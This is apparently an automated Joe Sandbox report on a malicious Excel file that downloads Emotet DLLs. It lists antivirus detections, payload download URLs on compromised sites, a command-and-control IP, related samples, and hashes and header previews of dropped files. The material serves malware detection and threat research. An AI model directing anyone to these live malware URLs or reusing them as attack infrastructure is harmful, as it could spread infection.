C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\me435CErJsFGw1q[1].dll	29%	Metadefender		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\me435CErJsFGw1q[1].dll	59%	ReversingLabs	Win64.Trojan.Emotet
C:\Users\user\uxevr1.ocx	41%	ReversingLabs	Win64.Trojan.Emotet
C:\Users\user\uxevr2.ocx	29%	Metadefender		Browse
C:\Users\user\uxevr2.ocx	59%	ReversingLabs	Win64.Trojan.Emotet
C:\Users\user\uxevr3.ocx	56%	ReversingLabs	Win64.Trojan.Emotet
C:\Windows\System32\HtkzwckLMRsIno\zbbayGuUXRtRt.dll (copy)	41%	ReversingLabs	Win64.Trojan.Emotet
C:\Windows\System32\WFwVcxpK\qMgBgEIcUslg.dll (copy)	56%	ReversingLabs	Win64.Trojan.Emotet
C:\Windows\System32\XcSShRaCEZoMkA\LaeOniCeFWEmCa.dll (copy)	29%	Metadefender		Browse
C:\Windows\System32\XcSShRaCEZoMkA\LaeOniCeFWEmCa.dll (copy)	59%	ReversingLabs	Win64.Trojan.Emotet

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
kabeonet.pl	1%	Virustotal		Browse
salledemode.com	12%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
https://173.82.82.196:8080/	100%	URL Reputation	malware
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://salledemode.com/tgroup.ge/x4bc2kL4BzGAeUsVi/	100%	Avira URL Cloud	malware
https://173.82.82.196/;	100%	Avira URL Cloud	malware
https://173.82.82.196/	100%	URL Reputation	malware
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
https://vipteck.com/wp-admin/user/B8d6jr4pBND2HExAmI/lJWa95VlQ/	100%	Avira URL Cloud	malware
http://www.kabeonet.pl/wp-admin/VWlAz5vWJNHDb/	100%	Avira URL Cloud	malware
http://vipteck.com/wp-admin/user/B8d6jr4pBND2HExAmI/lJWa95VlQ/	100%	Avira URL Cloud	malware
http://kabeonet.pl/wp-admin/VWlAz5vWJNHDb/	100%	Avira URL Cloud	malware
http://ocsp.entrust.net0D	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
kabeonet.pl	193.143.77.34	true	false	1%, Virustotal, Browse	unknown
salledemode.com	160.153.40.1	true	true	12%, Virustotal, Browse	unknown
vipteck.com	188.114.97.10	true	false		unknown
airliftlimo.com	159.203.19.2	true	false		high
windowsupdatebg.s.llnwi.net	178.79.242.0	true	false		unknown
www.kabeonet.pl	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://salledemode.com/tgroup.ge/x4bc2kL4BzGAeUsVi/	true	Avira URL Cloud: malware	unknown
https://vipteck.com/wp-admin/user/B8d6jr4pBND2HExAmI/lJWa95VlQ/	true	Avira URL Cloud: malware	unknown
http://www.kabeonet.pl/wp-admin/VWlAz5vWJNHDb/	true	Avira URL Cloud: malware	unknown
http://vipteck.com/wp-admin/user/B8d6jr4pBND2HExAmI/lJWa95VlQ/	true	Avira URL Cloud: malware	unknown
http://kabeonet.pl/wp-admin/VWlAz5vWJNHDb/	true	Avira URL Cloud: malware	unknown
https://airliftlimo.com/wp-admin/iMc/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://173.82.82.196:8080/	regsvr32.exe, 00000007.00000002.1223623480.0000000002E20000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1223280961.00000000002C9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1223353489.0000000000309000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	regsvr32.exe, 00000004.00000002.1223615758.0000000002DD0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1223638195.0000000002E2F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1223643995.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.entrust.net/server1.crl0	regsvr32.exe, 00000004.00000002.1223615758.0000000002DD0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1223638195.0000000002E2F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1223643995.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.entrust.net03	regsvr32.exe, 00000004.00000002.1223615758.0000000002DD0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1223638195.0000000002E2F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1223643995.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://173.82.82.196/;	regsvr32.exe, 00000009.00000002.1223353489.0000000000309000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://173.82.82.196/	regsvr32.exe, 00000004.00000002.1223285742.00000000002D3000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1223623480.0000000002E20000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1223353489.0000000000309000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	regsvr32.exe, 00000004.00000002.1223615758.0000000002DD0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1223638195.0000000002E2F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1223643995.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.diginotar.nl/cps/pkioverheid0	regsvr32.exe, 00000004.00000002.1223615758.0000000002DD0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1223638195.0000000002E2F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1223643995.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.entrust.net0D	regsvr32.exe, 00000004.00000002.1223615758.0000000002DD0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1223638195.0000000002E2F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1223643995.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://secure.comodo.com/CPS0	regsvr32.exe, 00000004.00000002.1223353771.0000000000310000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000002.1223615758.0000000002DD0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1223638195.0000000002E2F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1223643995.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.entrust.net/2048ca.crl0	regsvr32.exe, 00000004.00000002.1223615758.0000000002DD0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1223638195.0000000002E2F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1223643995.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
159.203.19.2	airliftlimo.com	United States	14061	DIGITALOCEAN-ASNUS	false
188.114.97.10	vipteck.com	European Union	13335	CLOUDFLARENETUS	false
173.82.82.196	unknown	United States	35916	MULTA-ASN1US	true
193.143.77.34	kabeonet.pl	Poland	29522	KEIPL	false
160.153.40.1	salledemode.com	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	true

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	632039
Start date and time: 23/05/202208:33:52	2022-05-23 08:33:52 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	melimar.com.xls
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winXLS@16/16@5/5
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 51.4% (good quality ratio 27.6%) Quality average: 32.8% Quality standard deviation: 37.5%
HCA Information:	Successful, ratio: 95% Number of executed functions: 45 Number of non-executed functions: 246
Cookbook Comments:	Found application associated with file extension: .xls Adjust boot time Enable AMSI Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Excluded IPs from analysis (whitelisted): 173.222.108.210, 173.222.108.226
Excluded domains from analysis (whitelisted): ctldl.windowsupdate.com, a767.dspw65.akamai.net, wu-bg-shim.trafficmanager.net, download.windowsupdate.com.edgesuite.net
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
08:34:27	API Interceptor	2676x Sleep call for process: regsvr32.exe modified
08:34:31	API Interceptor	221x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
159.203.19.2	AGK-010522 MJEY-210522.xls	Get hash	malicious	Browse
159.203.19.2	SecuriteInfo.com.XLM.Trojan.Abracadabra.42.Gen.2143.xls	Get hash	malicious	Browse
188.114.97.10	#U03bd#U03ad#U03b1 #U03c0#U03b1#U03c1#U03b1#U03b3#U03b3#U03b5#U03bb#U03af#U03b1.exe	Get hash	malicious	Browse	www.caffinoze.com/uevb/?dN6TSf=5jiPs4hh22L&Zbptn=+kZlZtVkmK9mtN4R8ketZDyq6RgIaOfH1OSk9sfvnCuCv2janrsaP1j7b5HSpzHAlDvs
	invoicecopy.exe	Get hash	malicious	Browse	www.edu-onl-univ-net.com/pzja/?3f=zfCf2c616CyfxHguxZZm7DNwPDi8EB3UdjS0lxktw5y2F154ZGH7CQxfIJF4n79GUGC+&bPvxP=r8YPfT
	inward remittance.xlsx	Get hash	malicious	Browse	vmopahtqdf84hfvsqepalcbcch63gdyvah.ml/BN2/fre.php
	xijREvMlOW.exe	Get hash	malicious	Browse	vmopahtqdf84hfvsqepalcbcch63gdyvah.ml/BN2/fre.php
	proof of payment.xlsx	Get hash	malicious	Browse	vmopahtqdf84hfvsqepalcbcch63gdyvah.ml/BN2/fre.php
	7KJG9mtgsK.exe	Get hash	malicious	Browse	vmopahtqdf84hfvsqepalcbcch63gdyvah.ml/BN2/fre.php
	F8v1zSYyNE.exe	Get hash	malicious	Browse	vmopahtqdf84hfvsqepalcbcch63gdyvah.ml/BN2/fre.php
	Enquiry 220519.exe	Get hash	malicious	Browse	www.belty.net/f7sb/?jN6LWTw=o1F6RDn0sBoDYo7h7gqtE434GJkKPSPCeJfVKwSkLQg71EAJ9C+Oj7XoejvxuceK6+Rk&jtU=nPLTHLD
	vbc.exe	Get hash	malicious	Browse	www.bupabii.site/ud5f/?1bsHsx=7nPxyDW8Iva4xf&iHt=ALfx5VHNdhW2uGqFmDqxYgHynhZL+44fq/uNEf/2poi8cDq081MUE8RtgpR85eIUxsfT
	RFQ 00078569_pdf.exe	Get hash	malicious	Browse	lokaxz.xyz/fc/bk/ss.php
	Due Payments.xlsx	Get hash	malicious	Browse	vmopahtqdf84hfvsqepalcbcch63gdyvah.ml/BN2/fre.php
	Due Payments.xlsx	Get hash	malicious	Browse	vmopahtqdf84hfvsqepalcbcch63gdyvah.ml/BN2/fre.php
	remittance confirmationpdf.exe	Get hash	malicious	Browse	lokaxz.xyz/fc/bk/ss.php
	http://halocem.org/azV0jA	Get hash	malicious	Browse	halocem.org/azV0jA
	200.xlsx	Get hash	malicious	Browse	vmopahtqdf84hfvsqepalcbcch63gdyvah.ml/BN2/fre.php
	Odeme makbuzu.exe	Get hash	malicious	Browse	5gw4d.xyz/PL341/index.php
	SWD0004 PO06350.exe	Get hash	malicious	Browse	www.floristeriascasablanca3.com/tgdh/?nPvXk=ZiOdQcdAFakp3noFfw0s5I3dZIhycVz4J/o2gsVSsyDVIUb2YJIwyoVnHcK0O/pnw9O7EPCsrQ==&aT=kdQ818F
	ryXm1NUc26.exe	Get hash	malicious	Browse	vmopahtqdf84hfvsqepalcbcch63gdyvah.ml/BN2/fre.php
	xbgyAUmAXn.exe	Get hash	malicious	Browse	vmopahtqdf84hfvsqepalcbcch63gdyvah.ml/BN2/fre.php
	lod4.xlsx	Get hash	malicious	Browse	qtd8gcdoplav737wretjqmaiy.ga/Basement/fre.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
airliftlimo.com	AGK-010522 MJEY-210522.xls	Get hash	malicious	Browse	159.203.19.2
airliftlimo.com	SecuriteInfo.com.XLM.Trojan.Abracadabra.42.Gen.2143.xls	Get hash	malicious	Browse	159.203.19.2
vipteck.com	AGK-010522 MJEY-210522.xls	Get hash	malicious	Browse	188.114.96.10
	XR-4966 report.xlsm	Get hash	malicious	Browse	188.114.97.7
	XR-4966 report.xlsm	Get hash	malicious	Browse	188.114.96.7
	2022-03-01_1429.xlsm	Get hash	malicious	Browse	188.114.97.7
	New payment details and address update.xlsm	Get hash	malicious	Browse	188.114.96.7
	New payment details and address update.xlsm	Get hash	malicious	Browse	188.114.97.7
	GZY-010322 PQEM-010322.xlsm	Get hash	malicious	Browse	188.114.96.17
	2022-03-01_0918.xlsm	Get hash	malicious	Browse	188.114.96.7
	3907301615343637.xlsm	Get hash	malicious	Browse	188.114.97.7
	3907301615343637.xlsm	Get hash	malicious	Browse	172.67.142.136
	TVN-010322 OWUZ-010322.xlsm	Get hash	malicious	Browse	188.114.97.7
	Form.xlsm	Get hash	malicious	Browse	188.114.97.7
salledemode.com	AGK-010522 MJEY-210522.xls	Get hash	malicious	Browse	160.153.40.1
salledemode.com	dettagli-1605.xls	Get hash	malicious	Browse	160.153.40.1

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
DIGITALOCEAN-ASNUS	AGK-010522 MJEY-210522.xls	Get hash	malicious	Browse	159.203.19.2
	3vYbe1bYFd.dll	Get hash	malicious	Browse	165.22.73.229
	3vYbe1bYFd.dll	Get hash	malicious	Browse	165.22.73.229
	meerkat.arm7-20220522-2050	Get hash	malicious	Browse	5.101.107.84
	nZNmWqwnpr.dll	Get hash	malicious	Browse	165.22.73.229
	W3XqCWvDWC.dll	Get hash	malicious	Browse	165.22.73.229
	JtJ50Swtfo.dll	Get hash	malicious	Browse	165.22.73.229
	nZNmWqwnpr.dll	Get hash	malicious	Browse	165.22.73.229
	W3XqCWvDWC.dll	Get hash	malicious	Browse	165.22.73.229
	JtJ50Swtfo.dll	Get hash	malicious	Browse	165.22.73.229
	VUzZGNPCim.dll	Get hash	malicious	Browse	165.22.73.229
	ZWc3yi399O.dll	Get hash	malicious	Browse	165.22.73.229
	QK2fMdqsA1.dll	Get hash	malicious	Browse	165.22.73.229
	CVVgbFa04U.dll	Get hash	malicious	Browse	165.22.73.229
	HN8n4TeTGO.dll	Get hash	malicious	Browse	165.22.73.229
	VUzZGNPCim.dll	Get hash	malicious	Browse	165.22.73.229
	ZWc3yi399O.dll	Get hash	malicious	Browse	165.22.73.229
	QK2fMdqsA1.dll	Get hash	malicious	Browse	165.22.73.229
	HN8n4TeTGO.dll	Get hash	malicious	Browse	165.22.73.229
	CVVgbFa04U.dll	Get hash	malicious	Browse	165.22.73.229

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
7dcce5b76c8b17472d024758970a406b	AGK-010522 MJEY-210522.xls	Get hash	malicious	Browse	188.114.97.10 159.203.19.2
	report 340.xls	Get hash	malicious	Browse	188.114.97.10 159.203.19.2
	info_1.xls	Get hash	malicious	Browse	188.114.97.10 159.203.19.2
	Facture_09.02.2022_V2.xlsb	Get hash	malicious	Browse	188.114.97.10 159.203.19.2
	Scan 69.xls	Get hash	malicious	Browse	188.114.97.10 159.203.19.2
	Address Changed.xls	Get hash	malicious	Browse	188.114.97.10 159.203.19.2
	10082376542717622006.xls	Get hash	malicious	Browse	188.114.97.10 159.203.19.2
	6691113204648532361.xls	Get hash	malicious	Browse	188.114.97.10 159.203.19.2
	E318709655.xls	Get hash	malicious	Browse	188.114.97.10 159.203.19.2
	OGgZVa2y3B.xls	Get hash	malicious	Browse	188.114.97.10 159.203.19.2
	E282497021.xls	Get hash	malicious	Browse	188.114.97.10 159.203.19.2
	E2992512590.xls	Get hash	malicious	Browse	188.114.97.10 159.203.19.2
	L1877777548.xls	Get hash	malicious	Browse	188.114.97.10 159.203.19.2
	SecuriteInfo.com.Exploit.Siggen3.32399.24702.xls	Get hash	malicious	Browse	188.114.97.10 159.203.19.2
	SecuriteInfo.com.Exploit.Siggen3.32401.11843.xls	Get hash	malicious	Browse	188.114.97.10 159.203.19.2
	SecuriteInfo.com.Exploit.Siggen3.32389.1290.xls	Get hash	malicious	Browse	188.114.97.10 159.203.19.2
	Contract - May 18, 2022 from Reliancecorp.xls	Get hash	malicious	Browse	188.114.97.10 159.203.19.2
	SecuriteInfo.com.XLM.Trojan.Abracadabra.42.Gen.2143.xls	Get hash	malicious	Browse	188.114.97.10 159.203.19.2
	L3776304198.xls	Get hash	malicious	Browse	188.114.97.10 159.203.19.2
	c2552936256.xls	Get hash	malicious	Browse	188.114.97.10 159.203.19.2

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\RD05UTHGkitvIJt[1].dll	AGK-010522 MJEY-210522.xls	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\klJrMZJhgldiJr6j0XWPeZOiGs[1].dll	AGK-010522 MJEY-210522.xls	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\me435CErJsFGw1q[1].dll	AGK-010522 MJEY-210522.xls	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	Microsoft Cabinet archive data, 61480 bytes, 1 file
Category:	dropped
Size (bytes):	61480
Entropy (8bit):	7.9951219482618905
Encrypted:	true
SSDEEP:	1536:kmu7iDG/SCACih0/8uIGantJdjFpTE8lTeNjiXKGgUN:CeGf5gKsG4vdjFpjlYeX9gUN
MD5:	B9F21D8DB36E88831E5352BB82C438B3
SHA1:	4A3C330954F9F65A2F5FD7E55800E46CE228A3E2
SHA-256:	998E0209690A48ED33B79AF30FC13851E3E3416BED97E3679B6030C10CAB361E
SHA-512:	D4A2AC7C14227FBAF8B532398FB69053F0A0D913273F6917027C8CADBBA80113FDBEC20C2A7EB31B7BB57C99F9FDECCF8576BE5F39346D8B564FC72FB1699476
Malicious:	false
Preview:	MSCF....(.......,...................I........y.........Tbr .authroot.stl..$..4..CK..<Tk...c_.d....A.K.....Y.f....!.))$7I.....e..eKT..k....n.3.......S..9.s.....3H.Mh......qV.=M6.=.4.F.....V:F..]......B`....Q...c"U.0.n....J.....4.....i7s..:.27....._...+).lE..he.4\|.?,...h....7..PA..b.,. .....#1+..o...g.....2n1m...=.......Dp.;..f..ljX.Dx..r<'.1RI3B0<w.D.z..)D\|..8<..c+..'XH..K,.Y..d.j.<.A.......l_lVb[w..rDp...'.....nL....!G.F....f.fX..r.. ?.....v(...L..<.\.Z..g;.>.0v...P ......\|...A..(..x...T0.`g...c..7.U?...9.p..a..&..9......sV..l0..D..fhi..h.F....q...y.....Mq].4..Z.....={L....AS..9.....:.:.........+..P.N....EAQ.V. sr.....y.B.`.Efe..8../....$...y-.q.J.......nP...2.Q8...O........M.@\.>=X....V..z.4.=.@...ws.N.M3.S.c?.....C4]?..\.K.9......^...CU......O....X.`........._.gU.....V.{V6..m..D.-\|.Q.t.7.....9.~....[...I.<e...~$..>......s.I.S....~1..IV.2Ri:..]R!8...q...l.X.%.)@......2.gb,t...}..;...@.Z..<q..y..:...e3..cY.we.$....z..\| .#.......I...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	3.120848828934212
Encrypted:	false
SSDEEP:	6:kKboJN+SkQlPlEGYRMY9z+4KlDA3RUesJ21:jkPlE99SNxAhUesE1
MD5:	DD749C9D2B59DD0A084BA3641BC08B06
SHA1:	CF33171C390F7DD49EC2F740DE5D8DF2B049321C
SHA-256:	DE73D53E9FC14A8F8DA68193A7D1412C36D7312D40AD7980D95D8D7D39E3CB78
SHA-512:	7E2FC1BF3621AA4279D2AC8C2CB8B1BC06CDE555107CB77AB1CFDDD018FBE39DA2DC81889DF33A7E140E001658C218F482189CBE446D0B81022352B919682982
Malicious:	false
Preview:	p...... ........I..[.n..(....................................................... ........3k/"[......(...........(...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".8.0.3.3.6.b.2.f.2.2.5.b.d.8.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\klJrMZJhgldiJr6j0XWPeZOiGs[1].dll

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	365056
Entropy (8bit):	7.158106334231925
Encrypted:	false
SSDEEP:	3072:JI0AM0yQkR9M6lglELtJUNjiWGyWcTZA0JUiA2tqZ4IvUlDAj7UOjVifSwHEDQVO:i5MR9M6y3TjRIvgMSS3AyUrhYu3j
MD5:	BE9AB3CBCD3C659212F266325283997D
SHA1:	8AE66E545E3F39473BE65759BE466D48448F385C
SHA-256:	278D0C0BAF0203C13A5E72F31027F4FD0921F6FA2A84656485D86F8D09D562C0
SHA-512:	48058CE87D6A2813C60852B435BC43D7F64D0180A63F9F5964123C0009FC4060216749FBE32DF6FC60BC35E139E4B2D24320AEF526BF12A8A57473203B4F942D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 56%
Joe Sandbox View:	Filename: AGK-010522 MJEY-210522.xls, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d...v{.b.........." .................5...............................................T....@....................................................P.................................................................................... ...............................text............................... ..`.rdata..T.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\RD05UTHGkitvIJt[1].dll

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	365056
Entropy (8bit):	7.158099808823071
Encrypted:	false
SSDEEP:	3072:JI0AM0yQkR9M6lglELtJUNjiWGyWcT+0JUiA2tqZ4IvUlDAj7UOjVifSwHEDQVLK:i5MR9M6y3TrRIvgMSS3AyUrhYu3j
MD5:	F11EBAFE4C3C0069090023A6B4CAEC35
SHA1:	3FECC4BC39FA6F17F062473D80F51AAEF8B442DB
SHA-256:	CAE8D1C14C85D10D7413AF876E6748813AD6930CF4D856E120857C4489A690DA
SHA-512:	425ED0A65526F11EADC37C8158C2D53C6A07C234DA59594DEEC8C8B132B6673534371A149CD5EA586ED07B0A517011E6143CE41E5D4D93608208C1DC73880F18
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 41%
Joe Sandbox View:	Filename: AGK-010522 MJEY-210522.xls, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d...v{.b.........." .................5...............................................T....@....................................................P.................................................................................... ...............................text............................... ..`.rdata..T.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\me435CErJsFGw1q[1].dll

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	downloaded
Size (bytes):	365056
Entropy (8bit):	7.158106332990621
Encrypted:	false
SSDEEP:	3072:JI0AM0yQkR9M6lglELtJUNjiWGyWcTb0JUiA2tqZ4IvUlDAj7UOjVifSwHEDQVLK:i5MR9M6y3TWRIvgMSS3AyUrhYu3j
MD5:	8516983EEDC8690C1495B828B4262A63
SHA1:	BDD250044234E53E9F08DB444A1DE00987735930
SHA-256:	90498F1EE590DA28566434C15EFCFD98E829846F233387553EA655FC7559168D
SHA-512:	C5B6A37A787A70E70BE8614F957C183547B85DFA0913B746F6BC701CEC09BD54E04FB53443DFEFFEDCF83176F581E6A5F4DE06219A1FA6D9D015691E9432CD93
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 29%, Browse Antivirus: ReversingLabs, Detection: 59%
Joe Sandbox View:	Filename: AGK-010522 MJEY-210522.xls, Detection: malicious, Browse
IE Cache URL:	http://salledemode.com/tgroup.ge/x4bc2kL4BzGAeUsVi/
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d...v{.b.........." .................5...............................................T....@....................................................P.................................................................................... ...............................text............................... ..`.rdata..T.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\lJWa95VlQ[1]

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5
Entropy (8bit):	1.5219280948873621
Encrypted:	false
SSDEEP:	3:hn:h
MD5:	FDA44910DEB1A460BE4AC5D56D61D837
SHA1:	F6D0C643351580307B2EAA6A7560E76965496BC7
SHA-256:	933B971C6388D594A23FA1559825DB5BEC8ADE2DB1240AA8FC9D0C684949E8C9
SHA-512:	57DDA9AA7C29F960CD7948A4E4567844D3289FA729E9E388E7F4EDCBDF16BF6A94536598B4F9FF8942849F1F96BD3C00BC24A75E748A36FBF2A145F63BF904C1
Malicious:	false
Preview:	0....

C:\Users\user\AppData\Local\Temp\CabF04.tmp

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	Microsoft Cabinet archive data, 61480 bytes, 1 file
Category:	dropped
Size (bytes):	61480
Entropy (8bit):	7.9951219482618905
Encrypted:	true
SSDEEP:	1536:kmu7iDG/SCACih0/8uIGantJdjFpTE8lTeNjiXKGgUN:CeGf5gKsG4vdjFpjlYeX9gUN
MD5:	B9F21D8DB36E88831E5352BB82C438B3
SHA1:	4A3C330954F9F65A2F5FD7E55800E46CE228A3E2
SHA-256:	998E0209690A48ED33B79AF30FC13851E3E3416BED97E3679B6030C10CAB361E
SHA-512:	D4A2AC7C14227FBAF8B532398FB69053F0A0D913273F6917027C8CADBBA80113FDBEC20C2A7EB31B7BB57C99F9FDECCF8576BE5F39346D8B564FC72FB1699476
Malicious:	false
